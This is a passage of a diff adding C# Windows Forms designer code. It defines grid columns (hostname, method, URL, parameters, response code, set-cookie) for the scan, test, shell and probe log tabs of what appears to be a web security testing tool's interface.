System.Windows.Forms.DataGridViewColumnSortMode.Automatic; + this.ProxyLogGridColumnForEdited.Width = 60; + // + // ProxyLogGridColumnForNotes + // + this.ProxyLogGridColumnForNotes.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.None; + this.ProxyLogGridColumnForNotes.HeaderText = "NOTES"; + this.ProxyLogGridColumnForNotes.Name = "ProxyLogGridColumnForNotes"; + this.ProxyLogGridColumnForNotes.ReadOnly = true; + this.ProxyLogGridColumnForNotes.Visible = false; + this.ProxyLogGridColumnForNotes.Width = 80; + // + // ScanLogTab + // + this.ScanLogTab.Controls.Add(this.ScanLogGrid); + this.ScanLogTab.Location = new System.Drawing.Point(4, 22); + this.ScanLogTab.Margin = new System.Windows.Forms.Padding(0); + this.ScanLogTab.Name = "ScanLogTab"; + this.ScanLogTab.Size = new System.Drawing.Size(697, 154); + this.ScanLogTab.TabIndex = 0; + this.ScanLogTab.Text = " Scan Logs "; + this.ScanLogTab.UseVisualStyleBackColor = true; + // + // ScanLogGrid + // + this.ScanLogGrid.AllowUserToAddRows = false; + this.ScanLogGrid.AllowUserToDeleteRows = false; + this.ScanLogGrid.AllowUserToOrderColumns = true; + this.ScanLogGrid.AllowUserToResizeRows = false; + this.ScanLogGrid.AutoSizeColumnsMode = System.Windows.Forms.DataGridViewAutoSizeColumnsMode.Fill; + this.ScanLogGrid.BackgroundColor = System.Drawing.Color.White; + this.ScanLogGrid.BorderStyle = System.Windows.Forms.BorderStyle.None; + dataGridViewCellStyle10.Alignment = System.Windows.Forms.DataGridViewContentAlignment.MiddleCenter; + dataGridViewCellStyle10.BackColor = System.Drawing.SystemColors.Control; + dataGridViewCellStyle10.Font = new System.Drawing.Font("Microsoft Sans Serif", 8.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + dataGridViewCellStyle10.ForeColor = System.Drawing.SystemColors.WindowText; + dataGridViewCellStyle10.SelectionBackColor = System.Drawing.SystemColors.Highlight; + dataGridViewCellStyle10.SelectionForeColor = System.Drawing.SystemColors.HighlightText; + dataGridViewCellStyle10.WrapMode = System.Windows.Forms.DataGridViewTriState.True; + this.ScanLogGrid.ColumnHeadersDefaultCellStyle = dataGridViewCellStyle10; + this.ScanLogGrid.ColumnHeadersHeightSizeMode = System.Windows.Forms.DataGridViewColumnHeadersHeightSizeMode.DisableResizing; + this.ScanLogGrid.Columns.AddRange(new System.Windows.Forms.DataGridViewColumn[] { + this.ScanLogGridColumnForID, + this.ScanLogGridColumnForScanID, + this.ScanLogGridColumnForHost, + this.ScanLogGridColumnForMethod, + this.ScanLogGridColumnForURL, + this.ScanLogGridColumnForFile, + this.ScanLogGridColumnForSSL, + this.ScanLogGridColumnForParameters, + this.ScanLogGridColumnForCode, + this.ScanLogGridColumnForLength, + this.ScanLogGridColumnForMIME, + this.ScanLogGridColumnForSetCookie}); + this.ScanLogGrid.ContextMenuStrip = this.LogMenu; + this.ScanLogGrid.Dock = System.Windows.Forms.DockStyle.Fill; + this.ScanLogGrid.EditMode = System.Windows.Forms.DataGridViewEditMode.EditProgrammatically; + this.ScanLogGrid.GridColor = System.Drawing.Color.White; + this.ScanLogGrid.Location = new System.Drawing.Point(0, 0); + this.ScanLogGrid.Margin = new System.Windows.Forms.Padding(0); + this.ScanLogGrid.MultiSelect = false; + this.ScanLogGrid.Name = "ScanLogGrid"; + this.ScanLogGrid.ReadOnly = true; + this.ScanLogGrid.RowHeadersVisible = false; + this.ScanLogGrid.RowHeadersWidth = 10; + this.ScanLogGrid.SelectionMode = System.Windows.Forms.DataGridViewSelectionMode.FullRowSelect; + this.ScanLogGrid.Size = new System.Drawing.Size(697, 154); + this.ScanLogGrid.TabIndex = 6; + this.ScanLogGrid.CellClick += new System.Windows.Forms.DataGridViewCellEventHandler(this.ScanLogGrid_CellClick); + this.ScanLogGrid.SelectionChanged += new System.EventHandler(this.ScanLogGrid_SelectionChanged); + // + // ScanLogGridColumnForID + // + this.ScanLogGridColumnForID.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.None; + this.ScanLogGridColumnForID.HeaderText = "ID"; + this.ScanLogGridColumnForID.MinimumWidth = 50; + this.ScanLogGridColumnForID.Name = "ScanLogGridColumnForID"; + this.ScanLogGridColumnForID.ReadOnly = true; + this.ScanLogGridColumnForID.Width = 50; + // + // ScanLogGridColumnForScanID + // + this.ScanLogGridColumnForScanID.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.None; + this.ScanLogGridColumnForScanID.HeaderText = "SCAN ID"; + this.ScanLogGridColumnForScanID.MinimumWidth = 60; + this.ScanLogGridColumnForScanID.Name = "ScanLogGridColumnForScanID"; + this.ScanLogGridColumnForScanID.ReadOnly = true; + this.ScanLogGridColumnForScanID.Width = 60; + // + // ScanLogGridColumnForHost + // + this.ScanLogGridColumnForHost.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.None; + this.ScanLogGridColumnForHost.HeaderText = "HOSTNAME"; + this.ScanLogGridColumnForHost.Name = "ScanLogGridColumnForHost"; + this.ScanLogGridColumnForHost.ReadOnly = true; + this.ScanLogGridColumnForHost.Width = 120; + // + // ScanLogGridColumnForMethod + // + this.ScanLogGridColumnForMethod.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.None; + this.ScanLogGridColumnForMethod.HeaderText = "METHOD"; + this.ScanLogGridColumnForMethod.Name = "ScanLogGridColumnForMethod"; + this.ScanLogGridColumnForMethod.ReadOnly = true; + this.ScanLogGridColumnForMethod.Width = 60; + // + // ScanLogGridColumnForURL + // + this.ScanLogGridColumnForURL.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.Fill; + this.ScanLogGridColumnForURL.HeaderText = "URL"; + this.ScanLogGridColumnForURL.MinimumWidth = 150; + this.ScanLogGridColumnForURL.Name = "ScanLogGridColumnForURL"; + this.ScanLogGridColumnForURL.ReadOnly = true; + // + // ScanLogGridColumnForFile + // + this.ScanLogGridColumnForFile.HeaderText = "FILE"; + this.ScanLogGridColumnForFile.Name = "ScanLogGridColumnForFile"; + this.ScanLogGridColumnForFile.ReadOnly = true; + // + // ScanLogGridColumnForSSL + // + this.ScanLogGridColumnForSSL.HeaderText = "SSL"; + this.ScanLogGridColumnForSSL.Name = "ScanLogGridColumnForSSL"; + this.ScanLogGridColumnForSSL.ReadOnly = true; + // + // ScanLogGridColumnForParameters + // + this.ScanLogGridColumnForParameters.HeaderText = "PARAMETERS"; + this.ScanLogGridColumnForParameters.Name = "ScanLogGridColumnForParameters"; + this.ScanLogGridColumnForParameters.ReadOnly = true; + // + // ScanLogGridColumnForCode + // + this.ScanLogGridColumnForCode.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.None; + this.ScanLogGridColumnForCode.HeaderText = "CODE"; + this.ScanLogGridColumnForCode.Name = "ScanLogGridColumnForCode"; + this.ScanLogGridColumnForCode.ReadOnly = true; + this.ScanLogGridColumnForCode.Width = 60; + // + // ScanLogGridColumnForLength + // + this.ScanLogGridColumnForLength.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.None; + this.ScanLogGridColumnForLength.HeaderText = "LENGTH"; + this.ScanLogGridColumnForLength.Name = "ScanLogGridColumnForLength"; + this.ScanLogGridColumnForLength.ReadOnly = true; + this.ScanLogGridColumnForLength.Width = 60; + // + // ScanLogGridColumnForMIME + // + this.ScanLogGridColumnForMIME.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.None; + this.ScanLogGridColumnForMIME.HeaderText = "MIME"; + this.ScanLogGridColumnForMIME.Name = "ScanLogGridColumnForMIME"; + this.ScanLogGridColumnForMIME.ReadOnly = true; + this.ScanLogGridColumnForMIME.Width = 70; + // + // ScanLogGridColumnForSetCookie + // + this.ScanLogGridColumnForSetCookie.HeaderText = "SET-COOKIE"; + this.ScanLogGridColumnForSetCookie.Name = "ScanLogGridColumnForSetCookie"; + this.ScanLogGridColumnForSetCookie.ReadOnly = true; + // + // TestLogTab + // + this.TestLogTab.Controls.Add(this.TestLogGrid); + this.TestLogTab.Location = new System.Drawing.Point(4, 22); + this.TestLogTab.Margin = new System.Windows.Forms.Padding(0); + this.TestLogTab.Name = "TestLogTab"; + this.TestLogTab.Size = new System.Drawing.Size(697, 154); + this.TestLogTab.TabIndex = 1; + this.TestLogTab.Text = " Test Logs "; + this.TestLogTab.UseVisualStyleBackColor = true; + // + // TestLogGrid + // + this.TestLogGrid.AllowUserToAddRows = false; + this.TestLogGrid.AllowUserToDeleteRows = false; + this.TestLogGrid.AllowUserToOrderColumns = true; + this.TestLogGrid.AllowUserToResizeRows = false; + this.TestLogGrid.AutoSizeColumnsMode = System.Windows.Forms.DataGridViewAutoSizeColumnsMode.Fill; + this.TestLogGrid.BackgroundColor = System.Drawing.Color.White; + this.TestLogGrid.BorderStyle = System.Windows.Forms.BorderStyle.None; + dataGridViewCellStyle11.Alignment = System.Windows.Forms.DataGridViewContentAlignment.MiddleCenter; + dataGridViewCellStyle11.BackColor = System.Drawing.SystemColors.Control; + dataGridViewCellStyle11.Font = new System.Drawing.Font("Microsoft Sans Serif", 8.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + dataGridViewCellStyle11.ForeColor = System.Drawing.SystemColors.WindowText; + dataGridViewCellStyle11.SelectionBackColor = System.Drawing.SystemColors.Highlight; + dataGridViewCellStyle11.SelectionForeColor = System.Drawing.SystemColors.HighlightText; + dataGridViewCellStyle11.WrapMode = System.Windows.Forms.DataGridViewTriState.True; + this.TestLogGrid.ColumnHeadersDefaultCellStyle = dataGridViewCellStyle11; + this.TestLogGrid.ColumnHeadersHeightSizeMode = System.Windows.Forms.DataGridViewColumnHeadersHeightSizeMode.DisableResizing; + this.TestLogGrid.Columns.AddRange(new System.Windows.Forms.DataGridViewColumn[] { + this.MTLogGridColumnForID, + this.MTLogGridColumnForHostName, + this.MTLogGridColumnForMethod, + this.MTLogGridColumnForURL, + this.MTLogGridColumnForFile, + this.MTLogGridColumnForSSL, + this.MTLogGridColumnForParameters, + this.MTLogGridColumnForCode, + this.MTLogGridColumnForLength, + this.MTLogGridColumnForMIME, + this.MTLogGridColumnForSetCookie}); + this.TestLogGrid.ContextMenuStrip = this.LogMenu; + this.TestLogGrid.Dock = System.Windows.Forms.DockStyle.Fill; + this.TestLogGrid.EditMode = System.Windows.Forms.DataGridViewEditMode.EditProgrammatically; + this.TestLogGrid.GridColor = System.Drawing.Color.White; + this.TestLogGrid.Location = new System.Drawing.Point(0, 0); + this.TestLogGrid.Margin = new System.Windows.Forms.Padding(0); + this.TestLogGrid.MultiSelect = false; + this.TestLogGrid.Name = "TestLogGrid"; + this.TestLogGrid.ReadOnly = true; + this.TestLogGrid.RowHeadersVisible = false; + this.TestLogGrid.RowHeadersWidth = 10; + this.TestLogGrid.SelectionMode = System.Windows.Forms.DataGridViewSelectionMode.FullRowSelect; + this.TestLogGrid.Size = new System.Drawing.Size(697, 154); + this.TestLogGrid.TabIndex = 4; + this.TestLogGrid.CellClick += new System.Windows.Forms.DataGridViewCellEventHandler(this.MTLogGrid_CellClick); + this.TestLogGrid.SelectionChanged += new System.EventHandler(this.TestLogGrid_SelectionChanged); + // + // MTLogGridColumnForID + // + this.MTLogGridColumnForID.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.None; + this.MTLogGridColumnForID.HeaderText = "ID"; + this.MTLogGridColumnForID.MinimumWidth = 50; + this.MTLogGridColumnForID.Name = "MTLogGridColumnForID"; + this.MTLogGridColumnForID.ReadOnly = true; + this.MTLogGridColumnForID.Width = 50; + // + // MTLogGridColumnForHostName + // + this.MTLogGridColumnForHostName.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.None; + this.MTLogGridColumnForHostName.HeaderText = "HOSTNAME"; + this.MTLogGridColumnForHostName.Name = "MTLogGridColumnForHostName"; + this.MTLogGridColumnForHostName.ReadOnly = true; + this.MTLogGridColumnForHostName.Width = 120; + // + // MTLogGridColumnForMethod + // + this.MTLogGridColumnForMethod.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.None; + this.MTLogGridColumnForMethod.HeaderText = "METHOD"; + this.MTLogGridColumnForMethod.Name = "MTLogGridColumnForMethod"; + this.MTLogGridColumnForMethod.ReadOnly = true; + this.MTLogGridColumnForMethod.Width = 60; + // + // MTLogGridColumnForURL + // + this.MTLogGridColumnForURL.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.Fill; + this.MTLogGridColumnForURL.HeaderText = "URL"; + this.MTLogGridColumnForURL.MinimumWidth = 150; + this.MTLogGridColumnForURL.Name = "MTLogGridColumnForURL"; + this.MTLogGridColumnForURL.ReadOnly = true; + // + // MTLogGridColumnForFile + // + this.MTLogGridColumnForFile.HeaderText = "FILE"; + this.MTLogGridColumnForFile.Name = "MTLogGridColumnForFile"; + this.MTLogGridColumnForFile.ReadOnly = true; + // + // MTLogGridColumnForSSL + // + this.MTLogGridColumnForSSL.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.None; + this.MTLogGridColumnForSSL.HeaderText = "SSL"; + this.MTLogGridColumnForSSL.Name = "MTLogGridColumnForSSL"; + this.MTLogGridColumnForSSL.ReadOnly = true; + this.MTLogGridColumnForSSL.SortMode = System.Windows.Forms.DataGridViewColumnSortMode.Automatic; + this.MTLogGridColumnForSSL.Width = 30; + // + // MTLogGridColumnForParameters + // + this.MTLogGridColumnForParameters.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.None; + this.MTLogGridColumnForParameters.HeaderText = "PARAMETERS"; + this.MTLogGridColumnForParameters.Name = "MTLogGridColumnForParameters"; + this.MTLogGridColumnForParameters.ReadOnly = true; + this.MTLogGridColumnForParameters.Resizable = System.Windows.Forms.DataGridViewTriState.True; + this.MTLogGridColumnForParameters.Width = 90; + // + // MTLogGridColumnForCode + // + this.MTLogGridColumnForCode.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.None; + this.MTLogGridColumnForCode.HeaderText = "CODE"; + this.MTLogGridColumnForCode.Name = "MTLogGridColumnForCode"; + this.MTLogGridColumnForCode.ReadOnly = true; + this.MTLogGridColumnForCode.Width = 60; + // + // MTLogGridColumnForLength + // + this.MTLogGridColumnForLength.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.None; + this.MTLogGridColumnForLength.HeaderText = "LENGTH"; + this.MTLogGridColumnForLength.Name = "MTLogGridColumnForLength"; + this.MTLogGridColumnForLength.ReadOnly = true; + this.MTLogGridColumnForLength.Width = 60; + // + // MTLogGridColumnForMIME + // + this.MTLogGridColumnForMIME.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.None; + this.MTLogGridColumnForMIME.HeaderText = "MIME"; + this.MTLogGridColumnForMIME.Name = "MTLogGridColumnForMIME"; + this.MTLogGridColumnForMIME.ReadOnly = true; + this.MTLogGridColumnForMIME.Width = 70; + // + // MTLogGridColumnForSetCookie + // + this.MTLogGridColumnForSetCookie.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.None; + this.MTLogGridColumnForSetCookie.HeaderText = "SET-COOKIE"; + this.MTLogGridColumnForSetCookie.Name = "MTLogGridColumnForSetCookie"; + this.MTLogGridColumnForSetCookie.ReadOnly = true; + this.MTLogGridColumnForSetCookie.SortMode = System.Windows.Forms.DataGridViewColumnSortMode.Automatic; + this.MTLogGridColumnForSetCookie.Width = 80; + // + // ShellLogTab + // + this.ShellLogTab.Controls.Add(this.ShellLogGrid); + this.ShellLogTab.Location = new System.Drawing.Point(4, 22); + this.ShellLogTab.Margin = new System.Windows.Forms.Padding(0); + this.ShellLogTab.Name = "ShellLogTab"; + this.ShellLogTab.Size = new System.Drawing.Size(697, 154); + this.ShellLogTab.TabIndex = 2; + this.ShellLogTab.Text = " Shell Logs "; + this.ShellLogTab.UseVisualStyleBackColor = true; + // + // ShellLogGrid + // + this.ShellLogGrid.AllowUserToAddRows = false; + this.ShellLogGrid.AllowUserToDeleteRows = false; + this.ShellLogGrid.AllowUserToOrderColumns = true; + this.ShellLogGrid.AllowUserToResizeRows = false; + this.ShellLogGrid.AutoSizeColumnsMode = System.Windows.Forms.DataGridViewAutoSizeColumnsMode.Fill; + this.ShellLogGrid.BackgroundColor = System.Drawing.Color.White; + this.ShellLogGrid.BorderStyle = System.Windows.Forms.BorderStyle.None; + dataGridViewCellStyle12.Alignment = System.Windows.Forms.DataGridViewContentAlignment.MiddleCenter; + dataGridViewCellStyle12.BackColor = System.Drawing.SystemColors.Control; + dataGridViewCellStyle12.Font = new System.Drawing.Font("Microsoft Sans Serif", 8.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + dataGridViewCellStyle12.ForeColor = System.Drawing.SystemColors.WindowText; + dataGridViewCellStyle12.SelectionBackColor = System.Drawing.SystemColors.Highlight; + dataGridViewCellStyle12.SelectionForeColor = System.Drawing.SystemColors.HighlightText; + dataGridViewCellStyle12.WrapMode = System.Windows.Forms.DataGridViewTriState.True; + this.ShellLogGrid.ColumnHeadersDefaultCellStyle = dataGridViewCellStyle12; + this.ShellLogGrid.ColumnHeadersHeightSizeMode = System.Windows.Forms.DataGridViewColumnHeadersHeightSizeMode.DisableResizing; + this.ShellLogGrid.Columns.AddRange(new System.Windows.Forms.DataGridViewColumn[] { + this.ScriptingLogGridColumnForID, + this.ScriptingLogGridColumnForHostName, + this.ScriptingLogGridColumnForMethod, + this.ScriptingLogGridColumnForURL, + this.ScriptingLogGridColumnForFile, + this.ScriptingLogGridColumnForSSL, + this.ScriptingLogGridColumnForParameters, + this.ScriptingLogGridColumnForCode, + this.ScriptingLogGridColumnForLength, + this.ScriptingLogGridColumnForMIME, + this.ScriptingLogGridColumnForSetCookie}); + this.ShellLogGrid.ContextMenuStrip = this.LogMenu; + this.ShellLogGrid.Dock = System.Windows.Forms.DockStyle.Fill; + this.ShellLogGrid.EditMode = System.Windows.Forms.DataGridViewEditMode.EditProgrammatically; + this.ShellLogGrid.GridColor = System.Drawing.Color.White; + this.ShellLogGrid.Location = new System.Drawing.Point(0, 0); + this.ShellLogGrid.Margin = new System.Windows.Forms.Padding(0); + this.ShellLogGrid.MultiSelect = false; + this.ShellLogGrid.Name = "ShellLogGrid"; + this.ShellLogGrid.ReadOnly = true; + this.ShellLogGrid.RowHeadersVisible = false; + this.ShellLogGrid.RowHeadersWidth = 10; + this.ShellLogGrid.SelectionMode = System.Windows.Forms.DataGridViewSelectionMode.FullRowSelect; + this.ShellLogGrid.Size = new System.Drawing.Size(697, 154); + this.ShellLogGrid.TabIndex = 5; + this.ShellLogGrid.CellClick += new System.Windows.Forms.DataGridViewCellEventHandler(this.ShellLogGrid_CellClick); + this.ShellLogGrid.SelectionChanged += new System.EventHandler(this.ShellLogGrid_SelectionChanged); + // + // ScriptingLogGridColumnForID + // + this.ScriptingLogGridColumnForID.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.None; + this.ScriptingLogGridColumnForID.HeaderText = "ID"; + this.ScriptingLogGridColumnForID.MinimumWidth = 50; + this.ScriptingLogGridColumnForID.Name = "ScriptingLogGridColumnForID"; + this.ScriptingLogGridColumnForID.ReadOnly = true; + this.ScriptingLogGridColumnForID.Width = 50; + // + // ScriptingLogGridColumnForHostName + // + this.ScriptingLogGridColumnForHostName.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.None; + this.ScriptingLogGridColumnForHostName.HeaderText = "HOSTNAME"; + this.ScriptingLogGridColumnForHostName.Name = "ScriptingLogGridColumnForHostName"; + this.ScriptingLogGridColumnForHostName.ReadOnly = true; + this.ScriptingLogGridColumnForHostName.Width = 120; + // + // ScriptingLogGridColumnForMethod + // + this.ScriptingLogGridColumnForMethod.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.None; + this.ScriptingLogGridColumnForMethod.HeaderText = "METHOD"; + this.ScriptingLogGridColumnForMethod.Name = "ScriptingLogGridColumnForMethod"; + this.ScriptingLogGridColumnForMethod.ReadOnly = true; + this.ScriptingLogGridColumnForMethod.Width = 60; + // + // ScriptingLogGridColumnForURL + // + this.ScriptingLogGridColumnForURL.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.Fill; + this.ScriptingLogGridColumnForURL.HeaderText = "URL"; + this.ScriptingLogGridColumnForURL.MinimumWidth = 150; + this.ScriptingLogGridColumnForURL.Name = "ScriptingLogGridColumnForURL"; + this.ScriptingLogGridColumnForURL.ReadOnly = true; + // + // ScriptingLogGridColumnForFile + // + this.ScriptingLogGridColumnForFile.HeaderText = "FILE"; + this.ScriptingLogGridColumnForFile.Name = "ScriptingLogGridColumnForFile"; + this.ScriptingLogGridColumnForFile.ReadOnly = true; + // + // ScriptingLogGridColumnForSSL + // + this.ScriptingLogGridColumnForSSL.HeaderText = "SSL"; + this.ScriptingLogGridColumnForSSL.Name = "ScriptingLogGridColumnForSSL"; + this.ScriptingLogGridColumnForSSL.ReadOnly = true; + // + // ScriptingLogGridColumnForParameters + // + this.ScriptingLogGridColumnForParameters.HeaderText = "PARAMETERS"; + this.ScriptingLogGridColumnForParameters.Name = "ScriptingLogGridColumnForParameters"; + this.ScriptingLogGridColumnForParameters.ReadOnly = true; + // + // ScriptingLogGridColumnForCode + // + this.ScriptingLogGridColumnForCode.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.None; + this.ScriptingLogGridColumnForCode.HeaderText = "CODE"; + this.ScriptingLogGridColumnForCode.Name = "ScriptingLogGridColumnForCode"; + this.ScriptingLogGridColumnForCode.ReadOnly = true; + this.ScriptingLogGridColumnForCode.Width = 60; + // + // ScriptingLogGridColumnForLength + // + this.ScriptingLogGridColumnForLength.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.None; + this.ScriptingLogGridColumnForLength.HeaderText = "LENGTH"; + this.ScriptingLogGridColumnForLength.Name = "ScriptingLogGridColumnForLength"; + this.ScriptingLogGridColumnForLength.ReadOnly = true; + this.ScriptingLogGridColumnForLength.Width = 60; + // + // ScriptingLogGridColumnForMIME + // + this.ScriptingLogGridColumnForMIME.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.None; + this.ScriptingLogGridColumnForMIME.HeaderText = "MIME"; + this.ScriptingLogGridColumnForMIME.Name = "ScriptingLogGridColumnForMIME"; + this.ScriptingLogGridColumnForMIME.ReadOnly = true; + this.ScriptingLogGridColumnForMIME.Width = 70; + // + // ScriptingLogGridColumnForSetCookie + // + this.ScriptingLogGridColumnForSetCookie.HeaderText = "SET-COOKIE"; + this.ScriptingLogGridColumnForSetCookie.Name = "ScriptingLogGridColumnForSetCookie"; + this.ScriptingLogGridColumnForSetCookie.ReadOnly = true; + // + // ProbeLogTab + // + this.ProbeLogTab.Controls.Add(this.ProbeLogGrid); + this.ProbeLogTab.Location = new System.Drawing.Point(4, 22); + this.ProbeLogTab.Margin = new System.Windows.Forms.Padding(0); + this.ProbeLogTab.Name = "ProbeLogTab"; + this.ProbeLogTab.Size = new System.Drawing.Size(697, 154); + this.ProbeLogTab.TabIndex = 4; + this.ProbeLogTab.Text = " Probe Logs "; + this.ProbeLogTab.UseVisualStyleBackColor = true; + // + // ProbeLogGrid + // + this.ProbeLogGrid.AllowUserToAddRows = false; + this.ProbeLogGrid.AllowUserToDeleteRows = false; + this.ProbeLogGrid.AllowUserToOrderColumns = true; + this.ProbeLogGrid.AllowUserToResizeRows = false; + this.ProbeLogGrid.AutoSizeColumnsMode = System.Windows.Forms.DataGridViewAutoSizeColumnsMode.Fill; + this.ProbeLogGrid.BackgroundColor = System.Drawing.Color.White; + this.ProbeLogGrid.BorderStyle = System.Windows.Forms.BorderStyle.None; + dataGridViewCellStyle13.Alignment = System.Windows.Forms.DataGridViewContentAlignment.MiddleCenter; + dataGridViewCellStyle13.BackColor = System.Drawing.SystemColors.Control; + dataGridViewCellStyle13.Font = new System.Drawing.Font("Microsoft Sans Serif", 8.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + dataGridViewCellStyle13.ForeColor = System.Drawing.SystemColors.WindowText; + dataGridViewCellStyle13.SelectionBackColor = System.Drawing.SystemColors.Highlight; + dataGridViewCellStyle13.SelectionForeColor = System.Drawing.SystemColors.HighlightText; + dataGridViewCellStyle13.WrapMode = System.Windows.Forms.DataGridViewTriState.True; + this.ProbeLogGrid.ColumnHeadersDefaultCellStyle = dataGridViewCellStyle13; + this.ProbeLogGrid.ColumnHeadersHeightSizeMode = System.Windows.Forms.DataGridViewColumnHeadersHeightSizeMode.DisableResizing; + this.ProbeLogGrid.Columns.AddRange(new System.Windows.Forms.DataGridViewColumn[] { + this.ProbeLogGridColumnForID, + this.ProbeLogGridColumnForHostName, + this.ProbeLogGridColumnForMethod, + this.ProbeLogGridColumnForURL, + this.ProbeLogGridColumnForFile, + this.ProbeLogGridColumnForSSL, + this.ProbeLogGridColumnForParameters, + this.ProbeLogGridColumnForCode, + this.ProbeLogGridColumnForLength, + this.ProbeLogGridColumnForMIME, + this.ProbeLogGridColumnForSetCookie}); + this.ProbeLogGrid.ContextMenuStrip = this.LogMenu; + this.ProbeLogGrid.Dock = System.Windows.Forms.DockStyle.Fill; + this.ProbeLogGrid.EditMode = System.Windows.Forms.DataGridViewEditMode.EditProgrammatically; + this.ProbeLogGrid.GridColor = System.Drawing.Color.White; + this.ProbeLogGrid.Location = new System.Drawing.Point(0, 0); + this.ProbeLogGrid.Margin = new System.Windows.Forms.Padding(0); + this.ProbeLogGrid.MultiSelect = false; + this.ProbeLogGrid.Name = "ProbeLogGrid"; + this.ProbeLogGrid.ReadOnly = true; + this.ProbeLogGrid.RowHeadersVisible = false; + this.ProbeLogGrid.RowHeadersWidth = 10; + this.ProbeLogGrid.SelectionMode = System.Windows.Forms.DataGridViewSelectionMode.FullRowSelect; + this.ProbeLogGrid.Size = new System.Drawing.Size(697, 154); + this.ProbeLogGrid.TabIndex = 7; + this.ProbeLogGrid.CellClick += new System.Windows.Forms.DataGridViewCellEventHandler(this.ProbeLogGrid_CellClick); + this.ProbeLogGrid.SelectionChanged += new System.EventHandler(this.ProbeLogGrid_SelectionChanged); + // + // ProbeLogGridColumnForID + // + this.ProbeLogGridColumnForID.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.None; + this.ProbeLogGridColumnForID.HeaderText = "ID"; + this.ProbeLogGridColumnForID.MinimumWidth = 50; + this.ProbeLogGridColumnForID.Name = "ProbeLogGridColumnForID"; + this.ProbeLogGridColumnForID.ReadOnly = true; + this.ProbeLogGridColumnForID.Width = 50; + // + // ProbeLogGridColumnForHostName + // + this.ProbeLogGridColumnForHostName.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.None; + this.ProbeLogGridColumnForHostName.HeaderText = "HOSTNAME"; + this.ProbeLogGridColumnForHostName.Name = "ProbeLogGridColumnForHostName"; + this.ProbeLogGridColumnForHostName.ReadOnly = true; + this.ProbeLogGridColumnForHostName.Width = 120; + // + // ProbeLogGridColumnForMethod + // + this.ProbeLogGridColumnForMethod.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.None; + this.ProbeLogGridColumnForMethod.HeaderText = "METHOD"; + this.ProbeLogGridColumnForMethod.Name = "ProbeLogGridColumnForMethod"; + this.ProbeLogGridColumnForMethod.ReadOnly = true; + this.ProbeLogGridColumnForMethod.Width = 60; + // + // ProbeLogGridColumnForURL + // + this.ProbeLogGridColumnForURL.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.Fill; + this.ProbeLogGridColumnForURL.HeaderText = "URL"; + this.ProbeLogGridColumnForURL.MinimumWidth = 150; + this.ProbeLogGridColumnForURL.Name = "ProbeLogGridColumnForURL"; + this.ProbeLogGridColumnForURL.ReadOnly = true; + // + // ProbeLogGridColumnForFile + // + this.ProbeLogGridColumnForFile.HeaderText = "FILE"; + this.ProbeLogGridColumnForFile.Name = "ProbeLogGridColumnForFile"; + this.ProbeLogGridColumnForFile.ReadOnly = true; + // + // ProbeLogGridColumnForSSL + // + this.ProbeLogGridColumnForSSL.HeaderText = "SSL"; + this.ProbeLogGridColumnForSSL.Name = "ProbeLogGridColumnForSSL"; + this.ProbeLogGridColumnForSSL.ReadOnly = true; + // + // ProbeLogGridColumnForParameters + // + this.ProbeLogGridColumnForParameters.HeaderText = "PARAMETERS"; + this.ProbeLogGridColumnForParameters.Name = "ProbeLogGridColumnForParameters"; + this.ProbeLogGridColumnForParameters.ReadOnly = true; + // + // ProbeLogGridColumnForCode + // + this.ProbeLogGridColumnForCode.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.None; + this.ProbeLogGridColumnForCode.HeaderText = "CODE"; + this.ProbeLogGridColumnForCode.Name = "ProbeLogGridColumnForCode"; + this.ProbeLogGridColumnForCode.ReadOnly = true; + this.ProbeLogGridColumnForCode.Width = 60; + // + // ProbeLogGridColumnForLength + // + this.ProbeLogGridColumnForLength.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.None; + this.ProbeLogGridColumnForLength.HeaderText = "LENGTH"; + this.ProbeLogGridColumnForLength.Name = "ProbeLogGridColumnForLength"; + this.ProbeLogGridColumnForLength.ReadOnly = true; + this.ProbeLogGridColumnForLength.Width = 60; + // + // ProbeLogGridColumnForMIME + // + this.ProbeLogGridColumnForMIME.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.None; + 